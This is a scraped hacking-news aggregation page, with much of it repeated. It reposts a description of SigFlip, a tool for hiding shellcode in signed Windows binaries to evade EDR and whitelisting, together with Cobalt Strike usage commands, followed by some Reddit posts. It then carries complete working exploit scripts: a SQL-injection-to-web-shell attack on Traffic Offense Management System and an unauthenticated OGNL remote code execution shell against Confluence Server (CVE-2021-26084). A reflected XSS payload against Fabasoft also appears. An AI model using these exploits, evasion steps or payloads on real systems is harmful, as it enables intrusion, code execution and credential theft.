Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
SigFlip - A Tool For Patching Authenticode Signed PE Files (Exe, Dll, Sys ..Etc) Without Invalidating Or Breaking The Existing Signature
https://1.bp.blogspot.com/-60hOP16Uzv8/YSMiVy92BcI/AAAAAAAAtWc/yjcEuykvsSw4xOg1hPuTI34pVPd466uhgCNcBGAsYHQ/w640-h366/SigFlip.jpeg SigFlip is a tool for patching authenticode signed PE files (exe, dll, sys ..etc) in a way that doesn't affect or break the existing authenticode signature, in other words you can change PE file checksum/hash by embedding data (i.e shellcode) without breaking the file signature, integrity checks or PE file functionality.
SigInject encrypts and injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, the encryption key is printed out for usage with a basic BOF/C/C# loader (SigLoader), SigInject saves changes to a modified PE file and keeps its signature and certificate validity intact.
SigLoader is a basic loader which takes a modified PE file path created by SigInject and the decryption key as parameters, then extract and decrypt embedded shellcode for usage with a shellcode injection of choice.
SigFlip will check if PE hash was successfully changed and also check and exit gracefully in case endpoints are hardened against such common misconfiguration. (check "Details" section).
Quick Note: SigFlip, SigInject and SigLoader are available as BOF scripts and .NET assemblies, the only difference is that SigInject functionality is implemented as part of SigFlip (-i) in case if you choose to use .NET artifacts instead of BOFs. Why ?It can be used mainly for persistence, lateral movement or code/command execution and can help with:
* Application whitelisting bypasses, changing the PE file hash (msbuild.exe for ex) without breaking the signature.
* Bypassing EDRs relying on specific LOLBINs' hashes for malicious code/command execution detection.
* Load signed drivers using a different hash, might help circumvent any EDRs watching for common vulnerable signed drivers using a pre-defined list of hashes.
* Embed encrypted shellcode in a signed PE file and use a stager (sigloader) of your preference to parse, decrypt, load and execute it.
* Endpoint security vendors tend to classify signed PE files as benign most of the time, embedding your unsigned code (shellcode ..etc.) in a signed PE file makes it a little bit hard to detect/flag.
* Bypassing endpoint security vendors relying mainly on the default WinVerifyTrust for signature validation.
* Improving OPSEC and challenging defenders relying solely on typical signature verification utilities such as signtool, sigcheck, Get-AuthenticodeSignature ..etc to validate the authenticoode signature of PE files. Usage & Examples:Compile/Build:Precompiled BOF's are not provided in this project, can be compiled using Mingw-w64, for .NET use VS or csc.exe to compile .NET projects (SigFlip, SigLoader), for BOF check steps below;
*
Quick Note: pre-compiled BOFs were tested and compatible with mingw-64 v8.0.0_3, using mingw-64 >= v9 might work but might crash active beacons, check https://github.com/med0x2e/SigFlip/issues/2 for more details. Cobalt Strike:1.
Execute-Assembly
*
BOF
* For usage with cobalt strike, once you load the SigFlip.cna script, two new commands will be registered; SigFlip and SigInject, then use as below;[...]
SigFlip - A Tool For Patching Authenticode Signed PE Files (Exe, Dll, Sys ..Etc) Without Invalidating Or Breaking The Existing Signature
https://1.bp.blogspot.com/-60hOP16Uzv8/YSMiVy92BcI/AAAAAAAAtWc/yjcEuykvsSw4xOg1hPuTI34pVPd466uhgCNcBGAsYHQ/w640-h366/SigFlip.jpeg SigFlip is a tool for patching authenticode signed PE files (exe, dll, sys ..etc) in a way that doesn't affect or break the existing authenticode signature, in other words you can change PE file checksum/hash by embedding data (i.e shellcode) without breaking the file signature, integrity checks or PE file functionality.
SigInject encrypts and injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, the encryption key is printed out for usage with a basic BOF/C/C# loader (SigLoader), SigInject saves changes to a modified PE file and keeps its signature and certificate validity intact.
SigLoader is a basic loader which takes a modified PE file path created by SigInject and the decryption key as parameters, then extract and decrypt embedded shellcode for usage with a shellcode injection of choice.
SigFlip will check if PE hash was successfully changed and also check and exit gracefully in case endpoints are hardened against such common misconfiguration. (check "Details" section).
Quick Note: SigFlip, SigInject and SigLoader are available as BOF scripts and .NET assemblies, the only difference is that SigInject functionality is implemented as part of SigFlip (-i) in case if you choose to use .NET artifacts instead of BOFs. Why ?It can be used mainly for persistence, lateral movement or code/command execution and can help with:
* Application whitelisting bypasses, changing the PE file hash (msbuild.exe for ex) without breaking the signature.
* Bypassing EDRs relying on specific LOLBINs' hashes for malicious code/command execution detection.
* Load signed drivers using a different hash, might help circumvent any EDRs watching for common vulnerable signed drivers using a pre-defined list of hashes.
* Embed encrypted shellcode in a signed PE file and use a stager (sigloader) of your preference to parse, decrypt, load and execute it.
* Endpoint security vendors tend to classify signed PE files as benign most of the time, embedding your unsigned code (shellcode ..etc.) in a signed PE file makes it a little bit hard to detect/flag.
* Bypassing endpoint security vendors relying mainly on the default WinVerifyTrust for signature validation.
* Improving OPSEC and challenging defenders relying solely on typical signature verification utilities such as signtool, sigcheck, Get-AuthenticodeSignature ..etc to validate the authenticoode signature of PE files. Usage & Examples:Compile/Build:Precompiled BOF's are not provided in this project, can be compiled using Mingw-w64, for .NET use VS or csc.exe to compile .NET projects (SigFlip, SigLoader), for BOF check steps below;
*
➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o* ➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o* ➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o* ➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.oMake sure all object files are located in the same directory as sigflip.cna, then load sigflip.cna script to cobalt strike.Quick Note: pre-compiled BOFs were tested and compatible with mingw-64 v8.0.0_3, using mingw-64 >= v9 might work but might crash active beacons, check https://github.com/med0x2e/SigFlip/issues/2 for more details. Cobalt Strike:1.
Execute-Assembly
*
execute-assembly SigFlip.exe -h* execute-assembly SigLoader -h2. BOF
* For usage with cobalt strike, once you load the SigFlip.cna script, two new commands will be registered; SigFlip and SigInject, then use as below;[...]
Hacking Articles Tips Tricks Videos Tutorials
KitPloit - PenTest Tools! SigFlip - A Tool For Patching Authenticode Signed PE Files (Exe, Dll, Sys ..Etc) Without Invalidating Or Breaking The Existing Signature https://1.bp.blogspot.com/-60hOP16Uzv8/YSMiVy92BcI/AAAAAAAAtWc/yjcEuykvsSw4xOg1hPuTI34pVPd4…
*
SigFlip: Change a PE file (DLL, EXE, SYS, OCX ..etc) hash without breaking the signature or the validity of the certificate:
*
SigInject: Encrypts and Injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, encryption key is printed out for usage with a basic C/C# loader plus keeps the signature and certificate validity intact:
*
SigLoader: Loads encrypted shellcode from PE files created by SigInject, then use Early Bird queueuserapc to spawn/inject sc into a sacrificial process, shellcode injection logic can be customized or replaced with any other code injection technique of choice:
*
Examples
*
BOF:
* Inject random data to msbuild.exe (aka bit flip msbuild.exe):
*
*
Execute-Assembly:
* Inject random data to msbuild.exe:
*
*
In layman's terms, we can modify or embed data into fields execulded from the authenticode hash calculation without worrying about breaking the authenticode signature and file integrity checks.
More details about such excluded fields:
*
Certificate table RVA and Size: A signed PE file optional header structure contains an array of data directories including the security directory IMAGE_DIRECTORY_ENTRY_SECURITY entry which has two fields, RVA and Size.
* RVA: a file offset (not a memory offset) to the attribute certificate[...]
SigFlip: Change a PE file (DLL, EXE, SYS, OCX ..etc) hash without breaking the signature or the validity of the certificate:
*
SigFlip "<pe\_file\_path" "<output\_pe\_file\_path"* SigInject: Encrypts and Injects shellcode into a PE file's [WIN_CERTIFICATE] certificate table, encryption key is printed out for usage with a basic C/C# loader plus keeps the signature and certificate validity intact:
*
SigInject "<pe\_file\_path <output\_pe\_file\_path" "<shellcode\_file"* SigLoader: Loads encrypted shellcode from PE files created by SigInject, then use Early Bird queueuserapc to spawn/inject sc into a sacrificial process, shellcode injection logic can be customized or replaced with any other code injection technique of choice:
*
SigLoader <pe_file_path_with_sh<decryption_key<spawnto_process_path<parent_process_id3. Examples
*
BOF:
* Inject random data to msbuild.exe (aka bit flip msbuild.exe):
*
SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"* Inject shellcode to kernel32.dll (Arguments order is different & make sure to take note of the decryption key): *
SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"* Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300* Execute-Assembly:
* Inject random data to msbuild.exe:
*
execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exe* Inject shellcode to kernel32.dll (Arguments order is different & make sure to take note of the decryption key): *
execute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKey* execute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354Details:This is a known technique used by APT#10 in multiple campaigns or intrusion sets. Authenticode Digital Signatures ?Authenticode is a Microsoft code-signing technology that identifies the publisher of Authenticode-signed software. Authenticode also verifies that the software has not been tampered with since it was signed and published. How does it work ?Microsoft relies mainly on Authenticode signing format for verifying the integrity and the origin of PE binaries, according to the Authenticode Portable Executable format specification the Authenticode signatures can be “embedded” in a Windows PE file, in a location specified by the Certificate Table entry in Optional Header Data Directories. When Authenticode is used to sign a Windows PE file, the algorithm that calculates the file’s Authenticode hash value excludes certain PE fields. When embedding the signature in the file, the signing process can modify these fields without affecting the file’s hash value. These fields are as follows: **the checksum, certificate table RVA, certificate table size and the attribute certificate table. The attribute certificate table contains a PKCS #7 SignedData structure containing the PE file’s hash value, a signature created by the software publis her’s private key, and the X.509 v3 certificates that bind the software publisher’s signing key to a legal entity.In layman's terms, we can modify or embed data into fields execulded from the authenticode hash calculation without worrying about breaking the authenticode signature and file integrity checks.
More details about such excluded fields:
*
Certificate table RVA and Size: A signed PE file optional header structure contains an array of data directories including the security directory IMAGE_DIRECTORY_ENTRY_SECURITY entry which has two fields, RVA and Size.
* RVA: a file offset (not a memory offset) to the attribute certificate[...]
Hacking Articles Tips Tricks Videos Tutorials
* SigFlip: Change a PE file (DLL, EXE, SYS, OCX ..etc) hash without breaking the signature or the validity of the certificate: * SigFlip "<pe\_file\_path" "<output\_pe\_file\_path"* SigInject: Encrypts and Injects shellcode into a PE file's [WIN_CERTIFICATE]…
table.
* Size: attribute certificate table size.
*
Attribute Certificate Table: a data structure WIN_CERTIFICATE which encapsulate the signature and certificates and has the following fields:
*
*
*
*
With all of that in mind, now SifFlip does the following:
1. Check system configuration
2. Loading PE File & Verifying PE file signature & Compute Sha1 hash
3. Get "e_lfanew" offset (pointing to the PE FILE HEADER -> IMAGE_NT_HEADERS)
4. Get IMAGE_OPTIONAL_HEADER from IMAGE_NT_HEADERS
5. Get IMAGE_DATA_DIRECTORY from IMAGE_OPTIONAL_HEADER
6. Get IMAGE_DIRECTORY_ENTRY_SECURITY field and retrieve the RVA and SIZE of the Attribute Certificate Table (WIN_CERTIFICATE).
7. Patch the PE File blob by padding the Certificate Table with extra bytes (random/shellcode) of choice.
8. Update the optional header -> IMAGE_DIRECTORY_ENTRY_SECURITY data directory Size
9. Update WIN_CERTIFICATE (Certificate Table) dwLength
10. Generate the new PE cheksum and update it. (OPT Header Checksum)
11. Save the final PE with new size.
12. Verify modified PE file signature
The first step is essential to confirm if the system is misconfigured in a way to allow padding and injecting shellcode into authenticode signed PE files, therefore the following sanity checks are performed:
1. Check if MS13-098 fix is not installed (KB2893294), Keep in mind IT COULD BE INSTALLED BUT REGISTRY KEYS ARE NOT PROPERLY SET, WHICH RENDERS THE PATCH USELESS
2. Check Registry keys
1.
X86:
* Check if registry key "HKLM:\Software\Microsoft\Cryptography\Wintrust\Config" is not available
* -> if available then check if "EnableCertPaddingCheck" registry value is not available
2.
X64:
* Check if registry key "HKLM:\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config" is not available
* -> if available then check if "EnableCertPaddingCheck" registry value is not available. Why cannot read the injected data when the modified PE is loaded as a module into its own address space or the address space of other processes ?Windows loader doesn't load certificate data into the process address space, reason why you need a custom loader to extract data such as shellcode and use it (ex: SigLoader). this should also explain why IMAGE_DIRECTORY_ENTRY_SECURITY data directory entry RVA is a file offset instead of a typical memory offset. Detect/Prevent:* https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN
* Once the patch is installed and proper registry keys are set, No system restarts are required, you only need to restart the Cryptographic Services. The Applocker service will be also restarted as it depends on the cryptographic services.(@p0w3rsh3ll)
* Yara rule by Adrien; https://twitter.com/Int2e_/status/1330975808941330432 References* https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2013/ms13-098?redirectedfrom=MSDN
* https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN
* http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/authenticode_pe.docx
* https://msrc-blog.microsoft.com/2013/12/10/ms13-098-update-to-enhance-the-security-of-authenticode/
* https://www.specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
* https://p0w3rsh3ll.wordpress.com/2014/05/24/testing-ms13-098-certificate-padding-check/
* http://jsac.jpcert.or.jp/archive/202[...]
* Size: attribute certificate table size.
*
Attribute Certificate Table: a data structure WIN_CERTIFICATE which encapsulate the signature and certificates and has the following fields:
*
dwLength: certificate table size.*
wRevision: the “revision” of the WIN_CERTIFICATE.*
wCertificateType: the kind of encapsulated certificate data.*
bCertificate: the actual certificate data. For WIN_CERT_TYPE_PKCS_SIGNED_DATA, this is the PKCS#7 SignedDatastructure mentionned above (which contains the PE hash value, signature and x.509 certificate), this is exactly where SigFlip embed randm random data or shellcode.With all of that in mind, now SifFlip does the following:
1. Check system configuration
2. Loading PE File & Verifying PE file signature & Compute Sha1 hash
3. Get "e_lfanew" offset (pointing to the PE FILE HEADER -> IMAGE_NT_HEADERS)
4. Get IMAGE_OPTIONAL_HEADER from IMAGE_NT_HEADERS
5. Get IMAGE_DATA_DIRECTORY from IMAGE_OPTIONAL_HEADER
6. Get IMAGE_DIRECTORY_ENTRY_SECURITY field and retrieve the RVA and SIZE of the Attribute Certificate Table (WIN_CERTIFICATE).
7. Patch the PE File blob by padding the Certificate Table with extra bytes (random/shellcode) of choice.
8. Update the optional header -> IMAGE_DIRECTORY_ENTRY_SECURITY data directory Size
9. Update WIN_CERTIFICATE (Certificate Table) dwLength
10. Generate the new PE cheksum and update it. (OPT Header Checksum)
11. Save the final PE with new size.
12. Verify modified PE file signature
The first step is essential to confirm if the system is misconfigured in a way to allow padding and injecting shellcode into authenticode signed PE files, therefore the following sanity checks are performed:
1. Check if MS13-098 fix is not installed (KB2893294), Keep in mind IT COULD BE INSTALLED BUT REGISTRY KEYS ARE NOT PROPERLY SET, WHICH RENDERS THE PATCH USELESS
2. Check Registry keys
1.
X86:
* Check if registry key "HKLM:\Software\Microsoft\Cryptography\Wintrust\Config" is not available
* -> if available then check if "EnableCertPaddingCheck" registry value is not available
2.
X64:
* Check if registry key "HKLM:\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config" is not available
* -> if available then check if "EnableCertPaddingCheck" registry value is not available. Why cannot read the injected data when the modified PE is loaded as a module into its own address space or the address space of other processes ?Windows loader doesn't load certificate data into the process address space, reason why you need a custom loader to extract data such as shellcode and use it (ex: SigLoader). this should also explain why IMAGE_DIRECTORY_ENTRY_SECURITY data directory entry RVA is a file offset instead of a typical memory offset. Detect/Prevent:* https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN
* Once the patch is installed and proper registry keys are set, No system restarts are required, you only need to restart the Cryptographic Services. The Applocker service will be also restarted as it depends on the cryptographic services.(@p0w3rsh3ll)
* Yara rule by Adrien; https://twitter.com/Int2e_/status/1330975808941330432 References* https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2013/ms13-098?redirectedfrom=MSDN
* https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2014/2915720?redirectedfrom=MSDN
* http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/authenticode_pe.docx
* https://msrc-blog.microsoft.com/2013/12/10/ms13-098-update-to-enhance-the-security-of-authenticode/
* https://www.specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
* https://p0w3rsh3ll.wordpress.com/2014/05/24/testing-ms13-098-certificate-padding-check/
* http://jsac.jpcert.or.jp/archive/202[...]
Hacking Articles Tips Tricks Videos Tutorials
table. * Size: attribute certificate table size. * Attribute Certificate Table: a data structure WIN_CERTIFICATE which encapsulate the signature and certificates and has the following fields: * dwLength: certificate table size. * wRevision: the “revision”…
1/pdf/JSAC2021_202_niwa-yanagishita_en.pdf Download SigFlip
hacking: security in practice
It's shopping time!
hi!
It's shopping time! I can spend +- 50euro (around 60$) on hacking gear! Im so excited. I do this as a hobby and want a cool new tool. But the catch is this: i want the tool to not need physical access, only wireless ;) The hacker community is a treasure throve, so why should I, a mere-mortal try to bang my head on a wall because I hope banging my head on the wall will make the stress induced migranes go away... Jokes aside, would be cool if you leave some recommendations!
Thanks in advance!
submitted by /u/PaintballAlex
[link] [comments]
It's shopping time!
hi!
It's shopping time! I can spend +- 50euro (around 60$) on hacking gear! Im so excited. I do this as a hobby and want a cool new tool. But the catch is this: i want the tool to not need physical access, only wireless ;) The hacker community is a treasure throve, so why should I, a mere-mortal try to bang my head on a wall because I hope banging my head on the wall will make the stress induced migranes go away... Jokes aside, would be cool if you leave some recommendations!
Thanks in advance!
submitted by /u/PaintballAlex
[link] [comments]
reddit
It's shopping time!
hi! It's shopping time! I can spend +- 50euro (around 60$) on hacking gear! Im so excited. I do this as a hobby and want a cool new tool. But the...
hacking: security in practice
Any good alternatives for sqliv?
So we can't use it in kali but is there any alternatives for it? (I tried it on parrot and blackarch it doesn't work on them for me)
submitted by /u/FBI_main_director
[link] [comments]
Any good alternatives for sqliv?
So we can't use it in kali but is there any alternatives for it? (I tried it on parrot and blackarch it doesn't work on them for me)
submitted by /u/FBI_main_director
[link] [comments]
reddit
Any good alternatives for sqliv?
So we can't use it in kali but is there any alternatives for it? (I tried it on parrot and blackarch it doesn't work on them for me)
hacking: security in practice
Data breaches
I tried to find if my gmail is pwned (have i been pwned) and i found that it s pwned in 7data breaches but how can i found those data breaches i have their name and date i tried googllin them didn t found anything even by using google dorks
submitted by /u/Brilliant_Fall8987
[link] [comments]
Data breaches
I tried to find if my gmail is pwned (have i been pwned) and i found that it s pwned in 7data breaches but how can i found those data breaches i have their name and date i tried googllin them didn t found anything even by using google dorks
submitted by /u/Brilliant_Fall8987
[link] [comments]
reddit
Data breaches
I tried to find if my gmail is pwned (have i been pwned) and i found that it s pwned in 7data breaches but how can i found those data breaches i...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
HiveNightmare AKA SeriousSAM
https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Whitepaper called HiveNightmare AKA SeriousSAM. It details an overview of CVE-2021-36934 and provides exploitation details.
MD5 |
Download
Source:packetstormsecurity.com
HiveNightmare AKA SeriousSAM
https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Whitepaper called HiveNightmare AKA SeriousSAM. It details an overview of CVE-2021-36934 and provides exploitation details.
MD5 |
c4e2761c221ef8324193337253239052Download
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Traffic Offense Management System 1.0 SQL Injection / Remote Code Execution
https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Traffic Offense Management System version 1.0 remote code execution exploit that leverages a remote SQL vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Traffic Offense Management System 1.0 SQL Injection / Remote Code Execution
https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Traffic Offense Management System version 1.0 remote code execution exploit that leverages a remote SQL vulnerability.
MD5 |
b273c6fcac7e557727fa0ed573991ad0Download
# Exploit Title: Traffic Offense Management System 1.0 - SQLi to Remote Code Execution (RCE) (Unauthenticated)
# Date: 19.08.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html
# Version: 1.0
# Tested on: Linux
import requests
import random
import string
import json
from bs4 import BeautifulSoup
url = input("TARGET = ")
if not url.startswith('http://') and not url.startswith('https://'):
url = "http://" + url
if not url.endswith('/'):
url = url + "/"
payload= "<?php"
let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))
session = requests.session()
print("Login Bypass\n")
request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "admin' or '1'='1'#", "password": ""}
bypassUser = session.post(request_url, data=post_data)
data = json.loads(bypassUser.text)
status = data["status"]
if status == "success":
print("Finding first driver\n")
getHTML = session.get(url + "admin/?page=drivers")
getHTMLParser = BeautifulSoup(getHTML.text, 'html.parser')
findFirstDriverID = getHTMLParser.find("a", {"class": "delete_data"}).get("data-id")
print("Found firs driver ID : " + findFirstDriverID)
print("\nFinding path")
findPath = session.get(url + "admin/?page=drivers/manage_driver&id="+findFirstDriverID+'\'')
findPath = findPath.text[findPath.text.index("Warning: ")+17:findPath.text.index(" on line ")]
findPath = findPath[findPath.index("")+3:len(findPath)]
parser = findPath.split('\\')
parser.pop()
findPath = ""
for find in parser:
findPath += find + "/"
print("\nFound Path : " + findPath)
shellPath = findPath[findPath.index("admin/"):len(findPath)]
SQLtoRCE = "' LIMIT 0,1 INTO OUTFILE '#PATH#' LINES TERMINATED BY #PAYLOAD# -- -"
SQLtoRCE = SQLtoRCE.replace("#PATH#",findPath+shellname+".php")
SQLtoRCE = SQLtoRCE.replace("#PAYLOAD#", "0x3"+payload.encode("utf-8").hex())
print("\n\nShell Uploading...")
session.get(url + "admin/?page=drivers/manage_driver&id="+findFirstDriverID+SQLtoRCE)
print("\nShell Path : " + url+shellPath+shellname+".php")
shellOutput = session.get(url+shellPath+shellname+".php?tago=whoami")
print("\n\nShell Output : "+shellOutput.text)
else:
print("No bypass user")
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Fabasoft Cloud Website Cross Site Scripting
https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Fabasoft cloud website versions prior to 18.0.17 suffer from a cross site scripting vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Fabasoft Cloud Website Cross Site Scripting
https://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png
Fabasoft cloud website versions prior to 18.0.17 suffer from a cross site scripting vulnerability.
MD5 |
f1d90e2405763062c49d32b35d118da7Download
Class Input Validation Error
Remote Yes
Authentication is required Yes
Credit Ricardo Sanchez
Vulnerable Fabasoft cloud website before version 18.0.17
Fabasoft cloud website before version 18.0.17 is prone to a reflected
cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.
To exploit this issue following steps:
The XSS reflected because the value "ax" is not filter correctly:
Demo Request:
https://de.cloud.fabasoft.com/folio/fscasp/content/bin/fscvext.dll?ax=%3Cscript%3Ealert(document.cookie);%3C/script%3E
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Confluence Server 7.12.4 OGNL Injection Remote Code Execution
https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Confluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.
MD5 |
Download
Source:packetstormsecurity.com
Confluence Server 7.12.4 OGNL Injection Remote Code Execution
https://2.bp.blogspot.com/-9-swdJydXNw/WWlu-Z7JktI/AAAAAAAAIJ0/CxXmre-Va7QW9KRwpgdSNcn8lp40qwLtQCLcBGAs/s1600/h117.png
Confluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.
MD5 |
0340434a86c779c9694e3699eb42446fDownload
# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/09/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros
# CVE : CVE-2021-26084
#!/usr/bin/python3
# References:
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
import requests
from bs4 import BeautifulSoup
import optparse
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x")
options, args = parser.parse_args()
session = requests.Session()
url_vuln = options.url
endpoint = options.path
if not options.url or not options.path:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
print('[+] Example help usage: exploit.py -h')
exit()
def banner():
print('---------------------------------------------------------------')
print('[-] Confluence Server Webwork OGNL injection')
print('[-] CVE-2021-26084')
print('[-] https://github.com/h3v0x')
print('--------------------------------------------------------------- \n')
def cmdExec():
while True:
cmd = input('> ')
xpl_url = url_vuln + endpoint
xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"}
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)
soup = BeautifulSoup(rawHTML.text, 'html.parser')
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
print(queryStringValue)
banner()
cmdExec()
Source:packetstormsecurity.com